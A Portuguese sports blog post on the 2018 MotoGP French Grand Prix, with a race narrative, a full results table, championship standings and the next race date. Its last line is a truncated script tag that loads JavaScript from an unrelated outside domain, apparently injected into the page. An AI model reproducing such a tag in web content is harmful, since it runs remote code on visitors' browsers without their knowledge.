Marquez vence mais uma!
E mesmo a boa largada de Lorenzo e a péssima de Marc Marquez (de 2º para 5º) não impediram de mais um triunfo da formiga atômica! Marc recuperou a 4ª posição já na segunda volta e algumas voltas depois Dovizioso tomava a liderança de Lorenzo. Zarco seguia em 3º.
Mas, sozinho, Dovizioso acabou caindo na curva 6 e se complicando de vez na temporada! Marc Marquez superou Zarco na volta 7, que deu o troco e em seguida CAIU! Uma pena, o piloto da Tech3 sempre surpreende nos treinos, mas não consegue ainda se estabilizar nas corridas.
E assim, faltava apenas Jorge Lorenzo para Marc ultrapassar, o que não demorou muito. Na volta 10, Lorenzo é superado pelo #93, em seguida perde também a posição para Petrucci e na volta seguinte, é engolido pelo Doutor, Valentino Rossi! E não parou por aí, Lorenzo anda perdeu as posições para Jack Miller e Dani Pedrosa, fechando a prova em 6º apenas. Mais uma temporada complicada para o #99.
Viñales, ainda sem expressão alguma na temporada, consegue – em virtude dos erros dos demais – manter-se vivo no campeonato! Com um mero 7º LUGAR, assumiu a vice liderança do mundial, atrás, obviamente de Marc Marquez.
Fim de prova e o pódio foi formado por MARC MARQUEZ, PETRUCCI e ROSSI!
Resultado final prova Moto GP / França – 2018:
MOTO | PILOTO | NACIONALIDADE | BIKE | VOLTAS | TEMPO | GAP | INTERVALO | VELOCIDADE | PONTOS | |
1º | 93 | Marc MÁRQUEZ | SPA | Honda | 27 | 41’49.773 | 25 | |||
2º | 9 | Danilo PETRUCCI | ITA | Ducati | 27 | 41’52.083 | 2.310 | 20 | ||
3º | 46 | Valentino ROSSI | ITA | Yamaha | 27 | 41’55.123 | 5.350 | 16 | ||
4º | 43 | Jack MILLER | AUS | Ducati | 27 | 41’56.087 | 6.314 | 13 | ||
5º | 26 | Dani PEDROSA | SPA | Honda | 27 | 41’57.192 | 7.419 | 11 | ||
6º | 99 | Jorge LORENZO | SPA | Ducati | 27 | 42’00.108 | 10.355 | 10 | ||
7º | 25 | Maverick VINÃLES | SPA | Yamaha | 27 | 42’13.531 | 23.758 | 9 | ||
8º | 35 | Cal CRUTCHLOW | GRA | Honda | 27 | 42’15.568 | 25.795 | 8 | ||
9º | 41 | Aleix ESPARGARO | SPA | Aprilia | 27 | 42’15.979 | 26.206 | 7 | ||
10º | 42 | Alex RINS | SPA | Suzuki | 27 | 42’17.710 | 27.937 | 6 | ||
11º | 44 | Pol ESPARGARO | SPA | kTM | 27 | 42’22.077 | 32.304 | 5 | ||
12º | 55 | Hafizh SYAHRIN | MAL | Yamaha | 27 | 42’24.735 | 34.962 | 4 | ||
13º | 21 | Franco MORBIDELLI | ITA | Honda | 27 | 42’27.654 | 37.881 | 3 | ||
14º | 38 | Bradley SMITH | GBR | KTM | 27 | 42’28.072 | 38.299 | 2 | ||
15º | 30 | Takaaki NAKAGAMI | JPN | Honda | 27 | 42’31.759 | 41.986 | 1 | ||
16º | 12 | Thomas LUTHI | SWI | Honda | 27 | 42’35.033 | 45.260 | – | ||
17º | 17 | Karel ABRAHAM | CZE | Ducati | 27 | 42’46.645 | 56.872 | – | ||
18º | 10 | Xavier SIMEON | BEL | Ducati | 27 | 43’01.910 | 1’12.117 | – | ||
Dnf | 45 | Scott REDDING | GBR | Aprilia | 10 | – | ||||
Dnf | 53 | Tito RABAT | SPA | Ducati | 10 | – | ||||
Dnf | 5 | Johann ZARCO | FRA | Yamaha | 8 | – | ||||
Dnf | 4 | Andrea DOVISIOSO | ITA | Ducati | 4 | – | ||||
Dnf | 19 | Alvaro BAUTISTA | SPA | Ducati | 1 | – | ||||
Dnf | 29 | Andrea IANNONE | ITA | Suzuki | N/COMPL | – |
CLASSIFICAÇÃO CAMPEONATO – TOP5
1 – Marc MARQUEZ – Honda – SPA – 95 pontos
2 – Maverick VIÑALES – Yamaha – SPA – 59
3 – Johann ZARCO – Yamaha – FRA – 58
4 – Valentino ROSSI – Yamaha – ITA – 56
5 – Danilo PETRUCCI – Ducati – ITA – 54
PRÓXIMA ETAPA
E a próxima etapa será em 03 de Junho de 2018 para o GP da Itália, Mugello.
Fontes e fotos:
… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>